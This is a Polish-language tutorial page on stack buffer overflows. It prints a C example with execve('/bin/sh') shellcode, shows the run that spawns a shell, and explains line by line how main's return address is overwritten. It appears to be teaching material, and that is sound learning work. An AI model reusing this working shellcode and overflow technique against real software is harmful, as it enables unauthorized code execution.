Poprzedni :: Spis treści :: Następny
Przyjrzyjmy się następnemu przykładowi:
przyklad10.c
char shellcode[]= "\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; char duzy_lancuch[128]; int main() { char bufor[96]; int i; int *wsk = (int *) duzy_lancuch; for (i=0; i < 32; i++) *(wsk+i) = (int) bufor; for (i=0; i < strlen(shellcode); i++) duzy_lancuch[i] = shellcode[i]; strcpy(bufor, duzy_lancuch); }
Zobaczmy czy wykonanie programu da zamierzony efekt:
$ gcc przyklad8.c -o przyklad8 $ ./przyklad8 sh-3.1$ exit $
Udało się, zobaczmy co się dzieje w kolejnych krokach programu.
char shellcode[]= "\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; char duzy_lancuch[128]; int main() { char bufor[96]; int i; int *wsk = (int *) duzy_lancuch; |
Inicjacja zmiennych. |
for (i=0; i < 32; i++) *(wsk+i) = (int) bufor; |
Wypełnienie tablicy duzy_lancuch adresami do początku łańcucha bufor. |
for (i=0; i < strlen(shellcode); i++) duzy_lancuch[i] = shellcode[i]; |
Zapisanie łańcucha znajdującego się w shellcode na początku łańcucha duzy_lancuch. |
strcpy(bufor, duzy_lancuch); } |
Skopiowanie zawartości łańcucha duzy_lancuch do łańcucha bufor. W wyniku tej operacji na początku łańcucha bufor znajdzie się shellcode a zaraz za nim będą występowały adresy początku łańcucha bufor (czyli adres shellcode). W związku z tym, że duzy_lancuch jest dłuższy od łańcucha bufor, następuje przepełnienie bufora i adres powrotu z funkcji main zostanie nadpisany przez adres łańcucha bufor. Zakończenie wykonywania funkcji powoduje skok do początku łańcucha bufor i wykonanie zapisanych tam instrukcji - utworzenie nowej powłoki). |
Poprzedni :: Spis treści :: Następny